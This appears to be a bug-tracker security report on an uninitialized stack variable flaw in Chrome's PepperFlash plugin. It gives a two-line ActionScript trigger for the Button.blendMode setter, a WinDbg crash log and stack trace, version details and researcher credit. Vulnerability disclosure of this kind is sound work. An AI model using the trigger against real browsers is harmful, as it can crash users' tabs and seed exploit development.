VULNERABILITY DETAILS

This is an uninitialized stack variable vulnerability.
When you call Button.blendMode property setter without any parameters, the program will still try to access the first parameter, which will be an uninitialized stack variable.

var btn = this.attachMovie("MyButton", "btn", 0);
ASnative(105, 11).call(btn); // call Button.blendMode setter, without passing any parameters


VERSION
Chrome Version: 53.0.2785.34 beta-m (64-bit)
Operating System: Windows 7 Home 64-bit

REPRODUCTION CASE

To reproduce the issue, please open "TestButton.swf" with chrome.


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: tab


Crash State: 


(66c.1c80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Google\Chrome\Application\53.0.2785.34\PepperFlash\pepflashplayer.dll - 
pepflashplayer!PPP_ShutdownBroker+0x2ea700:
000007fe`dbaabcb0 f20f1000        movsd   xmm0,mmword ptr [rax] ds:0000044a`06000000=????????????????
4:037> k
Child-SP          RetAddr           Call Site
00000000`0023d440 000007fe`dbada342 pepflashplayer!PPP_ShutdownBroker+0x2ea700
00000000`0023d490 000007fe`dbabb169 pepflashplayer!PPP_ShutdownBroker+0x318d92
00000000`0023d4c0 000007fe`dba08051 pepflashplayer!PPP_ShutdownBroker+0x2f9bb9
00000000`0023d500 000007fe`db9db398 pepflashplayer!PPP_ShutdownBroker+0x246aa1
00000000`0023d6f0 000007fe`dbabb8c9 pepflashplayer!PPP_ShutdownBroker+0x219de8
00000000`0023d750 000007fe`dba08051 pepflashplayer!PPP_ShutdownBroker+0x2fa319
00000000`0023d840 000007fe`dbc3bbef pepflashplayer!PPP_ShutdownBroker+0x246aa1
00000000`0023da40 000007fe`dba41ec6 pepflashplayer!PPP_ShutdownBroker+0x47a63f
00000000`0023e170 000007fe`dba4355f pepflashplayer!PPP_ShutdownBroker+0x280916
00000000`0023e1d0 000007fe`db9e3be9 pepflashplayer!PPP_ShutdownBroker+0x281faf
00000000`0023e490 000007fe`dba19f47 pepflashplayer!PPP_ShutdownBroker+0x222639
00000000`0023e4c0 000007fe`dba6869e pepflashplayer!PPP_ShutdownBroker+0x258997
00000000`0023e510 000007fe`db7dbf0e pepflashplayer!PPP_ShutdownBroker+0x2a70ee
00000000`0023e5a0 000007fe`db81a399 pepflashplayer!PPP_ShutdownBroker+0x1a95e
00000000`0023e7b0 000007fe`db81ac7b pepflashplayer!PPP_ShutdownBroker+0x58de9
00000000`0023e800 000007fe`db81ad8a pepflashplayer!PPP_ShutdownBroker+0x596cb
00000000`0023e8a0 000007fe`db81a7dc pepflashplayer!PPP_ShutdownBroker+0x597da
00000000`0023e8d0 000007fe`d639913c pepflashplayer!PPP_ShutdownBroker+0x5922c
00000000`0023e900 000007fe`d6398447 chrome_child!ovly_debug_event+0x5ad7c
00000000`0023e930 000007fe`d6398382 chrome_child!ovly_debug_event+0x5a087


4:037> lmvm pepflashplayer
start             end                 module name
    Image name: pepflashplayer.dll
    Timestamp:        Wed Jun 29 09:36:00 2016 (57732600)
    CheckSum:         01E192DF
    ImageSize:        01F0F000
    File version:     22.0.0.209
    Product version:  22.0.0.209
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0



Credit:
Yuki Chen of Qihoo 360Vulcan Team
 

Deleted: TestButton.swf 27.3 KB

TestButton.swf 27.3 KB Download